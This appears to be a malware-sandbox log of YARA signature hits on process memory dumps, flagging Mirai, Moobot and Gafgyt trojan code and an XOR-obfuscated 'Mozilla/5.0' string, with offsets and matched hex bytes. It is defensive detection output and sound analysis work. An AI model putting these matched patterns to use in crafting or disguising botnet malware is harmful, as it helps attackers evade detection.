7199.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7199.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6953.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6890.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7483.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7370.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7057.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7057.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7057.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7057.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7057.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7057.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6333.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6333.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6333.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6808.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6808.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6808.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6808.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6808.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6808.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7242.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6995.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6995.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6995.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6995.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6995.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6995.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7414.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6823.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6823.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6823.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6823.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6823.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 